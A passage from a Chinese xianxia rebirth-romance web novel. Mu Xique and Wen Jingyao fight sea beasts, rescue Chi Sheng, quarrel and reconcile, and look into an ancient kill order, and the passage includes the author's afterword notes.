她觉得自己要呕出血了,越疏棠丢下船,调动所有灵力逆冲经脉。 她化为一道紫影冲向那只海兽,跳到海兽露出水面的脊背上。 “把我阿妹还回来!把我阿妹还回来!” 她用长剑去捅这只海兽的背脊,可这只海兽像是个鳄龟,脊背是坚硬的背甲,利剑捅不穿,她崩溃地去砍它,任它如何疯狂想要将她摔落,她仍死死扒着它。 “把我的妹妹还回来!你个畜生,还给我,还给我!” 那只海兽震怒,它纵身跃出,在空中翻滚,以脊背朝下摔进海里,巨大的冲击力将挂在它背甲的越疏棠砸落,肋骨被砸断几根,水压挤压她的肺腑,她看到那只海兽张开巨口朝她冲来。 越疏棠准备自爆金丹,她要炸碎这只海兽。 她闭上眼,灵力逆冲向丹田,却在抵达丹田的前一刻,被一人从背后打入的灵力阻拦。 一只手扯住她的衣袖,将她甩飞出去,越疏棠被扔出水面,慕夕阙冲上前,揽住她的腰身,将她又扔进渔船里。 越疏棠爬起身看过去,眼前金衫一闪而过,慕夕阙已纵身跃进海里。 她趴在渔船上,看着浪花剧烈翻滚,一只海兽在里头挣扎,青光和金光时而闪现,利刃频出,最后一道骇然的剑光炸开了这片海,险些将她身下的渔船掀飞。 越疏棠拖着断裂的肋骨爬到护栏处,她艰难站起,湿漉漉的衣裳被风一吹,冷得森寒。 一只被剖开腹部的海兽跌进海底,浓黑的血染红这片海域,两人冲出海面,慕夕阙背着一个昏迷不醒的人,她抬眸看来,打湿的鬓发在皙白的脸上粘得到处都是,可那双眼睛依旧漂亮明目。 闻惊遥站在船头,并未过来。 慕夕阙嗤笑了一声,背着迟笙朝她走来:“这么有骨气,还准备自爆金丹呢?” 越疏棠每呼吸一口,都觉得利风在切割肺腑。 慕夕阙将迟笙放下,搁在甲板上,她站起身,看着越疏棠:“给你救回来了,以后给我好好活着。” 越疏棠低头看着迟笙,她的脸色苍白,身上有肮脏的黏液,他们明明都喜洁,如今却又没工夫在乎这般多了。 好像浑身的力气都丢了,越疏棠跌坐在地,捂着眼睛崩溃大哭。 慕夕阙安静看着她。 重活一世,她见到的是一个略有些温柔、还有些小傲娇的越疏棠,而不是前世那个冷静沉稳、凛然肃杀的影杀杀手。 只要还有在乎的人活着,她们就都不会活成前世的样子。 作者有话说:迟笙没死哦,救回来啦[撒花] 第70章 第 70 章 “这世上我最恨你了。”…… 迟笙救下了, 海兽群却并未解决。 慕夕阙丢给越疏棠一瓶丹药,没再说话,掌舵冲向那群海兽, 随后她拔剑跃出,瞬间消失在海兽群中。 越疏棠还没来得及看清, 船头的闻惊遥也跟着跃了下去, 有两位化神境修士加入,那些修士们应付海兽群的压力顷刻间便削弱大半,窘困的战局瞬间扭转, 不再进退两难。 越疏棠忍痛想要站起身,可方才那庞然巨物将她砸入水中,浑身骨裂多处, 她无法援助, 连简单的站立都显得困难了些。 迟笙忽然咳嗽几声, 越疏棠再顾不得其他, 赶忙撑着身子扑过去, 为她塞了几颗灵丹。 “阿笙,阿笙?” 迟笙的脸色苍白,身上并不干净, 吃了灵丹后她渐渐苏醒,迷茫挣开了眼, 虚弱唤了声:“阿姐?” “我在, 阿姐在。”越疏棠毫不在乎地用衣袖将她的脸擦干净,她又是气恼, 但更多是心疼。 “我有没有说过不许乱跑,不许出海,你要吓死我吗!”越疏棠哽声骂她, 想要抬手敲她,却又不舍得,担心碰到她的伤。 迟笙慢慢抬起手,拍拍越疏棠的脊背:“我只是……我只是想救人……” 越疏棠有时觉得,迟笙像极了小时候的她,心性纯善,勇而无畏。 倒是她活着活着反而束手束脚,不如年少时洒脱利落,顾忌太多,干什么事都要权衡一番。 慕夕阙也在这时回来,看了眼被越疏棠紧紧抱住的迟笙,她没说话,调转渔船朝远处奔去,尚还活着的修士们也上了自己的船跟在他们身后。 闻惊遥站在慕夕阙身边,垂眸看她的左臂,一只海兽的背刺将她的左臂捅穿,两个血窟窿还在渗血,那身金衫也在海水的浸泡中变得沉重。 慕夕阙感知到左臂上的布料被他撕开一片,他垂眸替她清理伤口,倒上止血的药粉,慢而柔地替她缠好绷带,并未问她伤势如何,以他身上新伤旧伤不断的程度,能自行判断出来。 这一片的海兽死了太多,他们中有人熟悉海域地形,借着旋涡能甩开不少海兽,回去的路上倒并未怎么打斗,他们很快便追上了那几艘跑出去的渔船。 修士的船将百姓的渔船和载客的客船围在其中,宋云岫看到虚弱躺着的迟笙,小脸绽开笑:“阿兄,是姐姐!” 宋云霁松了口气,他终于无力坐回去,看着小妹在笑,他自己也笑。 迟笙在吃了几颗灵丹后缓过来劲儿,撑起身子朝慕夕阙走去,低声道:“闻少主,慕二小姐,多谢。” 慕夕阙并未回话,闻惊遥只沉默颔首,以示回应。 迟笙身上的伤并不致命,那只凶兽将她活吞入腹,只有獠牙在身上剐蹭出了些皮肉伤,她捂着左腹的一道伤,脊背略佝偻。 “慕二小姐,这些海兽真的不对劲,我之前也在海上救过人,那些海兽往往不会跟修士死战,懂得逃匿保命,可今日它们却死缠烂打,像是被什么刺激了般。” 迟笙顿了一下,又道:“那只海兽叫鲛鳄,往往不开智,我曾猎杀过那类海兽,它们没有兽丹,可今日我被吞入那只海兽的腹中时,看到了它的兽丹,体积是人头的三倍起步。” 妖兽若是未结出兽丹,那便是尚未开灵智,尚未入道,可如今迟笙的意思是在告诉他们,这只海兽变得更加强大了,它凝出了兽丹,已开灵智,已经入道。 从它知晓在空中翻滚借助撞击力将越疏棠砸落时,慕夕阙便能看出,这只海兽是开了智的。 越疏棠也撑着身子走了过来:“慕二小姐,我们之前猜得或许是对的,这些海兽的狂化是人为造成的,目的应是……” 利用海兽攻岛,逼迫玉灵出山。 船上无人再说话,路过一座高耸的山,越疏棠和迟笙看向那座山,若是在十三州,这应当叫山,可在海外仙岛,大多人叫它岛。 “朱雀在里面。”越疏棠道,又看向更远的地方,“距此万里外,是另一只玉灵,它叫鲲。” 慕夕阙看了眼,她路过这座岛不少次,海外仙岛两座最高的岛上住着两只玉灵,一只居于山巅,一只居于山谷内的海沟中。 迟笙道:“朱雀属火,在几万年前,海外仙岛曾经只是一片冰川,这里气候森寒,是它融化霜雪,抵御寒冷,为我们带来宜居的气候,而后鲲入海,鱼虾成群。” 海外仙岛人人都能说出这两只玉灵住在何处,又有怎样的体貌特征,鲲镇海,朱雀守空,两只玉灵能力并不弱小,否则当年也不会仅它们两个便守住了海外群岛。 “我们不像十三州,有足够的山可以容纳玉灵庞大的本体,建造城池,你们有青鸾、金龙、玄武、貔貅、麒麟、当康,你们有一百七十三只玉灵,但我们没有,靠朱雀和鲲很难应付整片海的海兽,而且……” 越疏棠眉心紧蹙,似乎不忍,她犹豫许久,慕夕阙和闻惊遥并未开口追问,等她自己内心挣扎。 在快靠岸的时候,慕夕阙将几个渔民常戴的防风防晒的面纱递过去:“遮住脸,岸边人多。” 几人遮住面容,越疏棠抬眸看着远处,灯火通明,烛光荧荧,码头和海岸线上站满了人,都在等他们归来。 “海外仙岛多雨,但海面却万年未涨,是因为海底的禁制在,这片海并不平静,这么多年每年都得有大能去平海,如果毁掉每座岛下的禁制,那么被封禁在万里之外的海水会淹没这座岛。” 慕夕阙和闻惊遥倏然看去。 越疏棠眸底微红,迟笙也低着头,海外仙岛知道这些的并不多,千万百姓将海面未涨归功于玉灵的庇佑,可这片海有几十万、甚至上百万丈宽,两只玉灵难以庇佑这么远的地方。 既靠玉灵庇佑,也得有修士主动去平海。 慕夕阙冷声道:“你为何不早说?” 越疏棠沉声道:“我没办法说,我怎么能信任你们——” 她顿了下,看着慕夕阙的眼睛,音量低了几分:“这是阁主告知我们的,海外仙岛知道这些的人不超过千人,为防止有人破坏禁制,我们是不能告知外人的,更何况是十三州的人。” 船已靠岸,渔民奔下船和家人拥抱,客船上的孩子们也欢快跑下去,奔入爹娘的怀抱,宋云霁牵着宋云岫刚下船,便瞧见了自己的母亲。 “阿娘!” 那位母亲看见他们,双腿一软,直接跪坐在地,两个孩子奔到她的怀里,她死死搂住他们,失而复得的激动和后怕让她放声大哭。 慕夕阙却并未下船,她仍在船上,看着这座站满了人的岛。 “海兽上不了岸,不代表这些百姓不能落海,你不告知我们,可如今想必鹤阶他们早已知晓了,弄出这些狂化的海兽怕也打着这主意,待海水淹没这座岛,海兽会将他们全都吞入腹中。” 越疏棠闭上眼,哽咽道:“对不起,我……我应该早些告诉你的。” 可就算早些告诉慕夕阙,她能有什么办法呢? 慕夕阙上辈子也不知晓这些事,这么多座岛,这么多禁制,怎么一个个都护住? 船上太过压抑,闻惊遥道:“先下船吧,有什么事回去再议。” 迟笙搀扶着越疏棠走下船,慕夕阙将船栓好,也翻身跳了下去,闻惊遥跟在她身后。 两人刚落岸,便有渔民围上前来:“多谢几位,敢问诸位名讳,住在何处,明日我们必定登门道谢。” 慕夕阙并未停留,径直往前走。 闻惊遥道:“道谢便不必了,修士职责罢了,可否先让我们归家,有人受伤,急需歇息。” 百姓们看去,越疏棠和迟笙脸色苍白,一人甚至站不直身子,闻惊遥和慕夕阙的身上也是大大小小的伤,血染脏了昂贵的衣衫。 这些百姓并非固执之人,听到后便即刻让出一条路,迟笙扶着越疏棠,随在慕夕阙和闻惊遥身后,几人快速离开人多之地,到僻静处绕了些路,才敢回家。 刚到院门,蔺九尘几人便围了上来,见他们这幅模样,蔺九尘皱眉,并未多问,接过快要昏厥的越疏棠背上,和迟笙一起上了二楼。 姜榆和师盈虚走来,围在慕夕阙身边。 “夕阙,你怎么受伤了?” “师姐,我们等你好久,你可吓死我了!” 回来的路上他们已简单用清洁术清理了下,但毕竟在海里泡过,慕夕阙如今着实疲累,没工夫解释那么多,只想好好泡个澡,于是问道:“可有沐浴的水?” “我这就去烧!”姜榆赶忙道,“你们应当都需要沐浴吧,我多烧些,师大小姐,你来帮帮我。” 慕夕阙对师盈虚点头,师大小姐一脸担忧跟着姜榆离开,去了后院烧火。 闻惊遥低声道:“我去帮她们砍些柴火。” 慕夕阙没回话,闻惊遥安静了片刻,也不再追问,转身离开。 慕从晚也站起来,夜深了,姜榆便给她多加了件披风,慕夕阙走过去,垂眸看去,慕从晚的手背上都是指甲印,是她自己恐慌时候掐出来的。 慕从晚性子沉稳,能令她慌成这副样子,并非她自己的身体,只会是慕夕阙的安危。 “小夕,你吓死我了。”慕从晚抬手便要来抱她。 慕夕阙退后一步,说道:“我身上寒气重,阿姐,你别碰我。” 两人隔着一段距离,慕从晚并未再上前。 慕夕阙红唇微抿,说道:“阿姐,你今夜早些休息,明日我便带你出海去寻医仙,如果我没猜错,马上海外仙岛便要乱了,在此之前我先带你寻医。” 慕从晚问:“寻医之后呢?” “我想办法送你回十三州。” “那你呢?” 慕夕阙没说话,她安静看着慕从晚,两人僵持着,夜风一吹,将慕从晚及腰的长发扬起,与这身雪白的披风混着,孤零零的,瘦削又虚弱。 慕从晚长睫微垂:“我不希望你送我回去,小夕,如果你要留下来帮他们,那便不必分心给我,也不必再为我寻医。” “渡海的船我已买好,明日我带你去那两座岛上找人,不要倔。”慕夕阙皱眉,将慕从晚的坚持否决。 “小夕,倔的是你。”慕从晚忽然抬眸,她打断慕夕阙将要开口的话,明明孱弱,在此刻却又好似坚韧无匹,“凡人百年对我来说已足够,你冒险费心为我寻一个缥缈的可能性,或许你也会为此丧命,为此受伤,届时你要我怎么接受呢?” 她走上前,并未在乎慕夕阙脏污的衣裳,抬手轻碰她左臂的伤,眸色暗了些:“先做你想做的事,其他事情听天由命,好吗?” 慕夕阙觉得不好,她甚至在此刻是有些生气了的,她只是不理解,明明她一心为了慕从晚好,作为家人,她只是想救她而已,为此冒险,为此付出都是应该的。 为何偏偏慕从晚就是要跟她倔,宁愿困在这副病躯里也不要她救。 慕夕阙挣开她的手,声音冷了几分:“倔的是你们,我只是想要救你们,你早些休息,明日我们一早便走。” 她转身,走出没几步,慕从晚叫住她:“小夕。” 慕夕阙停下脚步,却并未回头。 慕从晚问她:“你是不是经历过什么事,有人欺负你了吗?” 慕夕阙攥紧拳头,呼吸沉了几分。 慕从晚走近些,看着她高挑的背影,说道:“你知道自己执念太深吗,你说话做事都变了,我时常觉得你有种孤注一掷的疯狂,不在乎自己的命,不在乎自己是否会受伤,想要将整个慕家把在你的手中。” “你想保护我们,可我们也想保护你,你看看自己这些时日受了多少伤,骨头断了多少根?有时候,要学会放手。” 慕夕阙转身看她,泪在眼眶里打转,她看着慕从晚,重生以来第一次对她发了脾气:“你要我怎么放手,看你去死啊,看慕家亡在那些小人手中?我好不容易才有了今天,我走了太久的路才有了今天!” 慕从晚愣住,她的情绪这般大,近乎崩溃地在吼她,便是幼时的慕夕阙对她发火,也没有这般模样。 慕夕阙抬手擦去脸上的泪,冷声道:“你早些睡吧,明日跟我出海。” 她转身离开,这次慕从晚没有追上去。 一阵风吹来,掀起院里的落叶,身旁有人离开,是闻惊遥,他也出了门,追去的方向是慕夕阙离开的方向。 慕从晚裹着披风,安静站在院里。 师盈虚和姜榆站在转角处,两人相视无言,后院离前院这般近,方才慕夕阙声音那么大,几乎都听到了。 慕夕阙出门没多久,便觉察出身后有人跟上来。 她站定,冷声道:“滚。” 闻惊遥沉默,平生为数不多挨的骂,大多都来自慕二小姐。 慕夕阙转身看他:“你追上来想说什么呢,你知道如果不是天罡篆,我的剑第一个先杀你吗?” “我知道。”闻惊遥看着她,“不想说什么,只是想陪你走走。” “我不想看到你。”慕夕阙转身就走。 闻惊遥却跟了上去,他有时有种格外的倔,握住慕夕阙的手腕:“夕阙,慕大小姐说得对,你得为自己考虑——” 慕夕阙却直接推开了他,她用力极大,灵力打在他的心口,闻惊遥的脊背撞到突出的石脊上,他捂住嘴,咳嗽了几声,默不作声擦去唇边的血。 “最没资格说这话的便是你闻惊遥,别总摆出这么一副为我考虑的模样,好像是我在无理取闹一般。”慕夕阙走上前,仰头看他,抬手戳着他的心口,“我要救的人就是赌上我这条命也得救,我要杀的人无论他变成什么模样,我都得杀。” 闻惊遥垂眸看她,这个角度,他们的双目毫无障碍对视,他这般直观看到她眼底的恨,这些天他不敢与她对视,便是亲吻都得哄着自己别看。 他抬手,拂开她凌乱的鬓发,温声问道:“夕阙,我有伤过你吗,我打伤过你多少次?” 慕夕阙愣了下,她和闻惊遥在那百年里见面并不多,时常几年见一次,每次见面必得打架,细究下来,闻惊遥只伤过她两次,慕夕阙捅过他几十剑。 她总觉得是闻惊遥修为不精,毕竟他为人太过正派,也不会用些狠厉杀招,但慕夕阙为了杀他,什么都用,毒药暗器没少往他身上使。 慕夕阙嗤笑了声:“你怎么没伤过我,你伤过我两次,一次的剑伤捅在左肩,一次在左腹。” 闻* 惊遥垂下长睫,喉口微滚:“嗯,我知道了。” 慕夕阙的眼神冷下,后退一步便要离开。 一只手扣住她的手腕,闻惊遥用了些力,将她拽了回来,他握住她的手,青色的灵力凝化为一把匕首,刀尖划破血肉,刺入他的左腹,血瞬间染脏了青衫,一滴滴血花坠落,在地上晕成水洼。 闻惊遥神情平淡,在慕夕阙反应过来,皱眉要抽手的时候,他却又握紧她的手腕,用力极大,捏得她的腕骨泛着疼。 两人的目光撞在一起,闻惊遥反而很平静:“怎么了,还有一刀,夕阙,你心疼我吗?” 慕夕阙笑起来,她笑得时候格外漂亮,起码在闻惊遥眼里,她若是能一笑,他能记上好久,记得她眼里的光,记得她眉眼弯起的弧度,这让他可以有勇气去做任何事。 受伤也不怕,骨裂也可以站起来,能用这手中的剑,一次又一次地除邪镇祟,继续这条她选择的大道。 可下一瞬,她拔出那柄匕首,调转方向,重重扎入他的左肩,只露出刀柄在外,整个刀身全数贯入他的肩头,几乎将他钉穿。 闻惊遥的血沿着刀柄往下流,或成血珠滴落在地,或沿着她的手腕流下,染脏她的衣袖。 他垂眸看了眼,咽下喉口的血,抬手握住她的手:“夕阙,你做得都是对的,我从来没觉得你有错。” 可这句话却像是点燃了她心中沉寂的一把火,慕夕阙拔出匕首,又重重扎在他的肩头,闻惊遥的脊背抵着墙,身前被她堵着,她的手握紧那把匕首,任凭他的血弄脏她的袖口。 “你没觉得我有错,可你偏要拦我,闻惊遥,这世上我最恨你了。” 闻惊遥看着她的眼睛,他不知道她眼底的红是因为方才跟慕从晚吵架哭出来的,还是因为此刻有那么一丝心软,他低下头,捧住她的脸,在她唇上吻了下。 他好像明白了些什么。 “你最恨我,夕阙,你之前喜欢过我的,是不是?” 慕夕阙并未说话,她只是看着他,可就是这带了恨意的眼神中,夹杂的那么一丝复杂情绪,让闻惊遥得到了答案。 她恨鹤阶,恨燕如珩,恨数不清的人,可对于他们只有恨,因此她能很轻易地坚持去复仇,去向这些人雪恨。 唯独面对闻惊遥,她花了五年去推翻所有猜测,直到慕从晚的死,才真正说服自己去恨他,去杀他。 闻惊遥啄了啄她的唇,他不觉得身上疼,可心口却闷疼,因为弯腰的姿势,眼泪也滴在她的脸上。 “你喜欢过我,那就好了,我可以毫无遗憾地去死,在我死后,你就别记得我,把我忘得干干净净。” 闻惊遥觉得自己也要疯了,明明心口疼得要命,却又品出了一丝前所未有的甜,慕夕阙喜欢过他,慕二小姐喜欢过他的。 可他愚笨死板,没看出少女隐秘的情谊,没看出生性骄傲的慕二小姐对他的特殊。 他总在错过,这十几年来不及的事情有太多。 闻惊遥靠近了些,他弯腰去吻她的唇,勾缠她的舌,那柄用灵力幻化出的匕首早已消散,只剩下身上三个血窟窿在滴血。 慕夕阙将他的唇咬得全是血,她发泄压抑的情绪,闻惊遥便也随她。 他只是在那时,急切想要知道,前世的闻惊遥到底有多混账。 与其糊糊涂涂地死去,不如让他揣着这满怀悔恨和不甘,若哪日能见到那个闻惊遥,他一定拔剑先将他千刀万剐- 朝蕴将整个藏书阁翻了个遍,所有弟子都在查,可关于慕家老祖的书册,先前已被慕夕阙看过,几乎没记载什么东西。 在翻完最后一卷书册,朝蕴颓然坐下,她握着那半张信,看着尾端盖上的戳印,那是慕家的家主印章。 随泱走过来,轻声说:“庄家主也在闻家查了个遍,并未有记载闻家曾经下过这封追杀令,先前父亲告知我的,也只说是鹤阶当时的家主杀人夺宝。” 可如今看来,似乎并非如此。 朝蕴安静看着那半截书信,这上面写的时间没错,那时在任的慕家家主确实是慕家老祖,至于其他世家,有些投靠了鹤阶,不能贸然去问。 而沅湘周家,他们也已托人去传了信,薛青菱说会尽力去查,至今未给消息。 “家主印章用在何处都需要留迹,尤其闻家这等注重规矩的家族,下了追杀令却不留迹。”朝蕴抬眸,看向随泱,“那这追杀令便是秘密下的,他们不想让太多人知道。” 随泱道:“可是万年前的大能比比皆是,实力皆都不弱,那陈家老祖实力能强横到这般地步吗,需要九个家族派出这么多人追杀?” 朝蕴回道:“或许是因为天罡篆在他手中。” 可是又为何要追杀这陈家老祖,他犯了什么错? 鹤阶为了杀人夺宝,难不成其余八个世家都为了夺天罡篆? “他实力强大凶悍,能让九个家族派出精英追杀,生活在万年前……”随泱喃喃自语,越是说到最后,拳头握得越是紧。 他抬眸,看向朝蕴:“鹤阶那个黑衣人,会不会和陈家有关系?” 朝蕴猛地抬头:“可他若是陈家人,又怎么会对陈家出手?” “我并非是说他是陈家老祖的意思,那老祖分明已死,他也有可能是老祖的孩子,家人或者亲传的弟子之类的,或者更牵强些,被老祖救过的人。”随泱解释道。 看着朝蕴凝重的神情,他安静片刻,又说出了个自己始终不敢开口的猜测。 “目前来看,我们得到的消息太过片面,经过万年时间,能信的不一定有多少,或许陈家在这件事中也不无辜呢?” 以至于他还要灭了灵翠谷陈家。 “如果真是——”朝蕴刚想开口,腰间玉牌亮了下,来人是庄漪禾。 庄漪禾冷声道:“闻家暗桩来消息了,去往海外仙岛的码头来了燕家的人,陈家村的人也全数消失,我怀疑燕如珩和鹤阶他们要去海外仙岛。” 朝蕴刚站起身,庄漪禾那边又道:“周家也来消息了,他们在库房内找到了一张盖了家主印章的画像,似是当年单独派出的追杀令,落笔时间与万年前也对得上。” 作者有话说:鲲最早出自《逍遥游》,后续衍生出很多神话故事,朱雀是天之四灵,跟玄武一样,有关它的记载太多了,这本书的玉灵有部分选材自《山海经》,比如当康,但也有从神话故事中取材的,比如金龙和朱雀玄武,以及后续出场的一些玉灵~ 这一章更慢了些,本来写了好多又删了点,因为大概马上就能写到前世了,女主会知道一切,我在纠结要不要让小闻提前知道前世的事情,大纲设定是女主在剧情收尾时候知道一切,但只有女主知道,男主只知道大概,他到番外才会完全知道前世所有经历,可如果这样写,小闻被虐得也糊糊涂涂的,不利于最后一段剧情收尾,俩人要解开误会,感觉彼此都得知道事实,大家觉得呢[爆哭] 今天发个红包~《 》 70-75 第71章 第 71 章 梅枝雪 在夜色深沉后, 沙滩东侧僻静之地,有人临时搭建了一顶帐篷,一艘破烂的灵舟停在沙滩上, 脊背佝偻的老者正在敲敲打打。 慕夕阙到的时候,他也恰好从甲板上下来。 两人隔着几步对视, 掌舵老者笑了笑, 走下来:“姑娘,你怎么来了?” “来看看灵舟何时能修好。” 慕夕阙身后不远处,站了个青衣少年, 那少年郎并未上前,只守在远处,但掌舵老者却能隐约瞧见他青衫上的血迹。 老者无声轻叹, 扔下手里的工具, 蹒跚着拿过来两把小木椅, 递给慕夕阙一把。 慕夕阙坐下:“多谢。” 掌舵老者在她身侧坐下, 两人望向远处的海域, 他说道:“灵舟上的禁制破损严重,补好需要一段时间,姑娘, 你急着回十三州吗?” “嗯。”慕夕阙颔首,“过些时日怕是海外仙岛不太平, 您也尽早回去吧。” 老者叹了声:“可这灵舟还未修好。” 慕夕阙问道:“我能帮您修补吗, 您说这上面有禁制,我修为不弱, 兴许能帮您。” “怕是不能,这上头的禁制只有我和兄长能修补。”掌舵老者抬眸,看向那艘停在岸边的灵舟, “这家伙也跟了我们家好些年头了,这些年修补过不少次,我没有教孩子们学习掌舵,便是想着等我死后,这往返两边的差事便断了吧。” “您不打算让家人继续干?” “也不是什么好差事,我收了这么多钱,便是想着能让他们过个好日子,日后做个生意什么的。” 上辈子临死前,慕夕阙确实听这掌舵老者说过,十三州再没有人能去海外仙岛,那往返两边的灵舟已被毁掉。 她看着掌舵老者的侧脸,只是有些不明白,明明有家人,为何最后他选择进了云川当个狱卒,这便是他寻的新差事吗? 掌舵老者收回目光,不再看那艘灵舟,说道:“姑娘,你救过我的命,我自是要谢你的,我会尽力补好这禁制。” 慕夕阙身子后仰,靠进小木椅中:“老人家,您说自己有个兄长,他是否也会开灵舟?” 掌舵老者沉默,他的岁数已经颇大了,修为也不高,恐怕再活个一百来年便会老死。 耳边只剩下海浪翻滚,以及夜风呼啸而过的声音,过了会儿,他开口道:“是,以前是我们兄弟两个轮班开灵舟,有两艘灵舟,一人从十三州开过来,一人从海外仙岛开回去,有时我们在路上还能碰面,可十三年前他的那艘灵舟出了事。” 慕夕阙垂下眸子,目光落在沙滩上掩埋的贝壳。 老者接着道:“您是十三州的人,想必应当知道,那艘灵舟上死去的人还有慕家先家主慕峥,燕家先少主燕之桉,同样,我兄长是那艘灵舟的掌舵船夫,自是也死了。” 他安静了会儿,海浪的声音愈发大了,老者垂眸,说道:“其实那次他是替我开灵舟的,因着我那些时日身子不舒服,往返都是他开,没想到便出了事,至今那艘死了人的灵舟还在家里,便是因为这件事,我并不打算让孩子们也学习掌舵。” 慕夕阙问道:“您家里有几口人?” “家里人少,就十几个人,三个儿子两个女儿,以及三个儿媳妇,还有几个孙子孙女。” 慕夕阙沉默。 上辈子她去了陈家村,查过当年掌舵的老者,可去的时候,整个陈家村十几户人家已经只剩两三户了,这船夫的家人也就只剩几个女人带着孩子,男丁全数消失。 怕是遭遇不测了,想必陈家村人搬离也是因着那件事。 两人坐了许久,到最后是些闲聊,直到夜彻底深了,掌舵老者看了眼远处的闻惊遥,说道:“姑娘,那小公子在等你,便早些回去吧。” 慕夕阙起身,留下了个圆形的银质圆球,递给掌舵老者。 老者垂眸看过去,说道:“倦天涯的灵球,可储存灵力借与他人,姑娘,给我这个作甚?” 慕夕阙道:“我需要送个人尽快返回十三州,这些时日便劳烦您修补灵舟,能否在七日内补好?这灵球里储存了我的修为,您修补禁制应当能用到。” 掌舵老者抬眸,看着慕夕阙道:“你不回去?” 慕夕阙道:“不回,我有些事,您还会再来海外仙岛的,不是吗?” “小姑娘,你倒是惯会挟恩图报。”老者朗笑几声,接过灵球,“放心好了,我自会昼夜不停抓紧修补灵舟,就是为了老夫自己的命,也会尽快的。” 慕夕阙拱手行礼,掌舵老者同样回了个礼。 她直起身子,看着这模样熟悉的老者,两人曾在云川隔着一扇木栏相处了十年,对慕夕阙来说,这人不像是狱卒,更像是个年纪大些的朋友。 “我可否问您的名字?”慕夕阙临走前,还是想问这句话,问她前世未得到的答案。 掌舵老者却笑了几下,花白的胡须抖了抖,他说道:“姓陈,刚出生爹娘就死了,兄长拉扯我长大,哪有什么名字,就叫陈家老二。” 慕夕阙自是不信的,他不愿意说自己的名字,她便也不问,只颔首告别。 她转身离开,掌舵老者负手而立,看着她的背影逐渐远去,那青衫少年跟在她身旁,一个高高大大的公子,在她面前总有些小心翼翼。 掌舵老者叹息,摇了摇头,转身上了灵舟,很快沙滩上便又传来敲敲打打的声音,那是他在修补灵舟。 而慕夕阙已经走出甚远,闻惊遥跟在她身旁,她没有说话,他跟着她走了会儿,在即将到家之前,闻惊遥攥住她的手腕。 慕夕阙顿住,回头看他,仿佛没瞧见他身上的血窟窿,她与他安静对视。 闻惊遥抬手替她拂开鬓发别到而后:“我和你一起留下来,你想帮助海外仙岛的人是吗,上辈子他们对你还不错?” “嗯。”慕夕阙别过头,“对我很好。” 这些渔民对她从未有过排斥,慕夕阙还跟着邻居去捕过鱼,在那苦得暗无天日的日子里,跟他们出海风吹日晒,或在家帮他们晾晒海产,对她来说辛苦却又满足。 “夕阙,我和你一起留下来,既要残害玉灵,那便不是我们能袖手旁观的事了。” 慕夕阙没拒绝,她挣开闻惊遥的手,率先进了院里。 院里无人,木楼里的几间房子亮着光,大家都没睡,此刻却无人出来,知晓慕二小姐什么脾气,于是蔺九尘他们选择不追问。 慕夕阙去了水房,里头几大桶干净的热水已经备好,姜榆还准备了新的浴桶,她解下衣裳泡进去,温热的水驱散了些身体的寒意。 闻惊遥去了另一间小隔间清洗,他比慕夕阙动作快,等他收拾好,处理伤口换上新衣,慕夕阙才刚从水房走出,长发披散,她正用布巾擦发。 好像没有看到他一般,慕夕阙绕过他直接上了二楼,推门进去。 闻惊遥在院里站了会儿,约莫有一刻钟,他也推门进了自己的房间。 二楼内,慕从晚还未睡,她坐在榻边,一言不发看慕夕阙收拾,她烘干自己的头发,宽松的寝衣单薄,好似在身上晃悠。 屋里放了暖炉,六月的天对于慕夕阙来说已是炎热,可对慕从晚来说,却如同寒冬腊月,只能靠取暖争取一丝暖意。 慕夕阙进来也没说话,梳好发后,她看着铜镜内的自己。 安静了会儿,慕夕阙道:“对不起,阿姐,我并未有意要跟你发脾气。” 她知道慕从晚不会生气,慕从晚从未生过气,无论是过去,还是现在。 可慕夕阙还是要道歉,在吼了慕从晚后,其实她便后悔了。 慕从晚的声音很轻:“是我失言,我也得跟你道歉,小夕,抱歉,我并未体谅你。” 慕夕阙低下头,看着自己握着梳篦的手,她不敢回头看慕从晚,只能看着自己。 “我知道你在关心我,可是阿姐,如果让我为了保全自己不受伤,看你去死,看慕家遭灾,活着对我来说便只是痛苦了。” 慕从晚看着慕夕阙的背影,妹妹比她要高上小半头,她的身子劲瘦高挑,这般低着头,肩胛骨略有些突出,过去的慕夕阙浑身都是傲气恣意,自打几月前见面,她便宛如变了个人,沉稳冷静,甚至有些冷漠。 “小夕,你是不是受欺负了,有人给你委屈了吗?” 慕夕阙攥紧拳头,梳篦的梳齿卡在掌心中,扎出一拍细密的印记,她咬着牙道:“没有,只是做了场噩梦,梦到你们都不在了。” 她安静了片刻,声音更低了几分:“只剩我自己一个人,梦醒了,有些害怕。” 慕从晚叹息了声,她走上前,坐在慕夕阙的旁边,握住她的肩膀将她转过来,低头看她掌心里的梳篦。 明明慕夕阙是个化神境的修士,可却被一个凡人轻易掰开了紧攥的拳头。 慕从晚取出梳篦,搁在桌上,而慕夕阙还低着头。 “只是梦,只是梦而已。” 慕从晚抬手轻碰她的左臂,问道:“伤还疼吗?” 慕夕阙摇摇头,嗓音略沉:“不疼。” “以后少受些伤,阿娘瞧见了又得心疼,你幼时老打架受伤,我可没少瞧见阿娘掉眼泪,她也是没办法。”慕从晚握住她的手,“小夕,人活一世,有许多无可奈何的事,如果真的有一日你要失去一些人,也不要难过,你就向前走,记住这些人,一直走到你生命的尽头。” 她看到慕夕阙的下颌上滴落的水滴,慕二小姐鲜少落泪,今日哭了两次。 慕从晚揩去她脸颊的泪珠,温声说:“你想我活着,我就努力多活些日子,明日我们出海,可是小夕,你也得答应我,如果这次还没有办法,那就不要再坚持了,仅剩的这些年能和你们在一起,我也很开心了。” 慕夕阙的喉口堵得难受,像是卡了一根木刺,呼吸间都扎得她血肉淋漓,慕从晚在她面前自刎,对长姐的愧疚和那时喷溅在她脸上的血,成了她百年的梦魇,以至于她迫切地想要救下姐姐,想要她活着。 梅枝雪是她唯一的希望了。 慕夕阙闭上眼,闷闷应了声:“好。”- 天刚亮,慕夕阙便起身了。 昨夜她睡在躺椅上,慕从晚多次让她回榻上睡,慕夕阙愣是拒绝了,换做过去的慕夕阙或许会接受不了,可如今的慕夕阙连个树杈都能躺着睡着,更何况还有个躺椅。 她收拾好东西,慕从晚也已经起身,裹上外衫,戴好披风,慕夕阙又往她手里塞了个暖手炉。 蔺九尘他们也已醒来,师盈虚坐在院里的木桌旁,正在招呼她们。 “夕阙,大小姐,我方才去买了早膳,一起吃点吧。” 这早膳是给慕从晚买的,她一日三餐都得用,于是师盈虚为了不让她觉得自己拖累,便干脆买了所有人的饭。 海外仙岛的早膳也是粥类和包子,慕夕阙给慕从晚端了碗清淡的米粥,加了些白糖。 蔺九尘将包子递过去:“素的,慕大小姐爱吃。” 